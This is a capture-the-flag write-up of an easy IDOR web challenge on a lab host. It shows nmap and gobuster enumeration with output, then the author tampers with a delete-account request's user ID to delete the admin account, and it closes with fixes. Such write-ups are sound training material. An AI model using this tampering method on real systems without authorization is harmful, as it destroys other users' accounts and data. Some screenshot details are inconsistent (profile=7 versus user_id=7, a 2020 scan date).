



2/23/2026

Challenge-01

Solving CTF Labs on ThunderCipher



YUVARAJ M

ThunderGym – DeleteMe Challenge Writeup


Difficulty: Easy

Category: Web Exploitation

Vulnerability: IDOR (Insecure Direct Object Reference)

Target IP: 192.168.5.5

Port: 5000



Challenge Description

DeleteMe is an easy web challenge where ThunderGym is running on port 5000. Access the application directly through your browser and start exploring its features. Users can register, log in, and manage their profile — including deleting their account. But is the delete functionality properly secured? Analyze how the application handles user actions and see if you can exploit a flaw.

The application allows users to register, login, manage their profile, and delete their account. The goal was to analyze whether the delete functionality was properly secured.

Enumeration Phase

Step 1 – Port Scanning

Performed a nmap scan: **nmap 192.168.5.5 -A**

Open ports found:

- 22 (SSH)

- 5000 (HTTP – Werkzeug Flask server)

```
yuvraj@yuvraj: ~/Downloads
$ ping 192.168.5.5
PING 192.168.5.5 (192.168.5.5) 56(84) bytes of data:
64 bytes from 192.168.5.5: icmp_seq=1 ttl=63 time=181 ms
64 bytes from 192.168.5.5: icmp_seq=2 ttl=63 time=181 ms
64 bytes from 192.168.5.5: icmp_seq=3 ttl=63 time=98.6 ms
64 bytes from 192.168.5.5: icmp_seq=4 ttl=63 time=117 ms
64 bytes from 192.168.5.5: icmp_seq=5 ttl=63 time=88.7 ms
64 bytes from 192.168.5.5: icmp_seq=6 ttl=63 time=95.7 ms
64 bytes from 192.168.5.5: icmp_seq=7 ttl=63 time=93.7 ms
64 bytes from 192.168.5.5: icmp_seq=8 ttl=63 time=97.8 ms
64 bytes from 192.168.5.5: icmp_seq=9 ttl=63 time=96.8 ms
64 bytes from 192.168.5.5: icmp_seq=10 ttl=63 time=85.8 ms
64 bytes from 192.168.5.5: icmp_seq=11 ttl=63 time=83.2 ms
^C
-- 192.168.5.5 ping statistics --
11 packets transmitted, 11 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 83.159/95.926/112.093/7.738 ms

[yuvraj@yuvraj: ~/Downloads]
$ nmap 192.168.5.5 -A
Starting Nmap 7.91 ( https://nmap.org ) at 2020-02-21 11:18 +0530
Nmap scan report for 192.168.5.5
Host is up (0.0021s latency).
Not shown: 998 closed tcp ports (reset)
PORT      STATE SERVICE
22/tcp    open  ssh
OpenSSH 9.9p1 Ubuntu 3ubuntu1.1 (Ubuntu Linux; protocol 2.0)
|_ ssh-hostkey:
|   256 06:7b:4b:06:09:03:71:91:b2:ec:01:el:2f:43:09:54 (ECDSA)
|_ 256 1c:f2:b6:6e:64:d1:4d:30:00:03:72:fb:a7:68:17:7b (ED25519)
5000/tcp   open  http
Werkzeug httpd 3.0.1 (Python 3.11.14)
|_ http-talker: Werkzeug/3.0.1 Python/3.11.14
|_ http-server-header: Werkzeug/3.0.1 Python/3.11.14
Device type: general purpose/router
Running: Linux 5.4, Mikrotik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 5.0 - 5.14, Mikrotik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 21/tcp)
HOP RTT ADDRESS
1 25.89 ms 10.0.0.1
2 76.86 ms 192.168.5.5

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/.
Nmap done: 1 IP address (1 host up) scanned in 15.01 seconds

[yuvraj@yuvraj: ~/Downloads]
```

```
yuvraj@yuvraj: ~/Downloads
22/tcp    open  ssh
OpenSSH 9.9p1 Ubuntu 3ubuntu1.1 (Ubuntu Linux; protocol 2.0)
|_ ssh-hostkey:
|   256 06:7b:4b:06:09:03:71:91:b2:ec:01:el:2f:43:09:54 (ECDSA)
|_ 256 1c:f2:b6:6e:64:d1:4d:30:00:03:72:fb:a7:68:17:7b (ED25519)
5000/tcp   open  http
Werkzeug httpd 3.0.1 (Python 3.11.14)
|_ http-talker: Werkzeug/3.0.1 Python/3.11.14
|_ http-server-header: Werkzeug/3.0.1 Python/3.11.14
Device type: general purpose/router
Running: Linux 5.4, Mikrotik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 5.0 - 5.14, Mikrotik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 21/tcp)
HOP RTT ADDRESS
1 25.89 ms 10.0.0.1
2 76.86 ms 192.168.5.5

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/.
Nmap done: 1 IP address (1 host up) scanned in 15.01 seconds

[yuvraj@yuvraj: ~/Downloads]
$ gobuster dir -u http://192.168.5.5:5000 -w /usr/share/wordlists/dirb/common.txt
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mhlauer (@firefart)

[+] Url: http://192.168.5.5:5000
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8.2
[+] Timeout: 10s

Starting gobuster in directory enumeration mode

dashboard (Status: 302) [Size: 209] [→ /login_page]
login (Status: 403) [Size: 153]
logout (Status: 302) [Size: 140] [→ /]
profile (Status: 302) [Size: 209] [→ /login_page]
register (Status: 403) [Size: 153]
Progress: 4613 / 4613 (100.00%)

Finished

[yuvraj@yuvraj: ~/Downloads]
$
```

The web application was running on port 5000, so I accessed: **http://192.168.5.5:5000**

Application Analysis

Step 2 – Application Functionality

The application allowed:

- User Registration
- Login
- Profile Management
- Account Deletion


Account Registration & Login




I registered a test account:

Username: user1

Password: *****

After logging in, I navigated to the profile section where the Delete Account option was available.





ThunderGym ⚡

[Profile](#) [Logout](#)


Welcome Back, user1 ⚡

Push your limits. Train hard. Stay unstoppable.

[View Profile](#)

🔥 Weekly Workout Goal

3 / 5 Sessions Completed



⚡ Strength Level



Intermediate Athlete

⚡ Calories Burned


2,450 kcal this week

🏆 Membership Status

Active Member



While deleting the account, I monitored the request in Firefox DevTools.



Request Analysis

Step 3 – Inspecting Delete Request

The delete action triggered the following request:

POST /delete_account

The screenshot shows a web browser with the URL `http://192.168.5.5:5000/profile`. The page displays the ThunderGym account management interface. The user ID is 7, the username is user1, and the role is Member. A red button labeled "Delete Account" is visible. Below the button, a "Danger Zone" warning states: "Deleting your account is permanent and cannot be undone." The network inspector shows a POST request to `/delete_account` with a status of 200 OK. The request body is `profile=7` and the response size is 418 bytes.

Status	Method	Domain	File	Initiator	Type	Transferred	Size
200	GET	192.168.5.5:5000	profile	document	html	3.46 KB	3,274 B
200	GET	192.168.5.5:5000	style.css	stylesheet	html	389 B	207 B
200	GET	192.168.5.5:5000	favicon.ico	[favicon.loader.app:175 (img)]	html	cached	207 B
200	POST	192.168.5.5:5000	delete_account	profile=7 (fetch)	json	200 B	418 B

Request Body:

`user_id=7`

The screenshot shows the same web browser interface as before. The network inspector shows the POST request to `/delete_account` with a status of 200 OK. The request body is `profile=7` and the response size is 418 bytes. A blue circle highlights the "Filter Request Parameters" dropdown menu, which is set to "JSON".

Status	Method	Domain	File	Initiator	Type	Transferred	Size
200	GET	192.168.5.5:5000	profile	document	html	3.46 KB	3,274 B
200	GET	192.168.5.5:5000	style.css	stylesheet	html	389 B	207 B
200	GET	192.168.5.5:5000	favicon.ico	[favicon.loader.app:175 (img)]	html	cached	207 B
200	POST	192.168.5.5:5000	delete_account	profile=7 (fetch)	json	200 B	418 B


The application was trusting the client-side `user_id` parameter.

This suggested a possible IDOR vulnerability

Exploitation


Step 4 – Exploiting IDOR

I modified the request using "Edit and Resend" in Firefox DevTools.




Original:

`user_id=7`




Modified:

user_id=1



Response:



```
{  
  "flag": "ThunderCipher{id0r_4cc0unt_t4k30v3r_2k26}",  
  "message": "Admin account deleted!"  
}
```

Vulnerability Explanation

Vulnerability – IDOR (Insecure Direct Object Reference)

The server did not verify whether the logged-in user was authorized to delete the specified user_id.

The application trusted client-controlled input, allowing deletion of arbitrary users including the admin account.

This is categorized under:

Broken Access Control

OWASP Top 10 – A01

Impact

- Any user could delete any other user
- Admin account deletion was possible
- Complete compromise of application integrity

In a real-world scenario, this could lead to:

- Account takeover
- Data loss
- Privilege escalation

How to Fix

Mitigation

The correct implementation should:

Option 1 – Ignore client input

```
user_id = session['user_id']  
delete_user(user_id)
```

Option 2 – Verify ownership

```
if session['user_id'] != request.form['user_id']:  
    return "Unauthorized"
```

Never trust client-controlled object identifiers.


Lessons Learned

- Always inspect HTTP requests using DevTools
- If you see IDs in requests → try modifying them
- Broken Access Control is extremely common
- IDOR is one of the most frequent real-world web vulnerabilities

Attack Flow Summary

- Scanned target → Found port 5000
- Registered test account
- Monitored delete request
- Identified client-controlled user_id
- Modified user_id=7 → user_id=1
- Deleted admin account
- Retrieved flag

Final Flag



ThunderCipher{id0r_4cc0unt_t4k30v3r_2k26}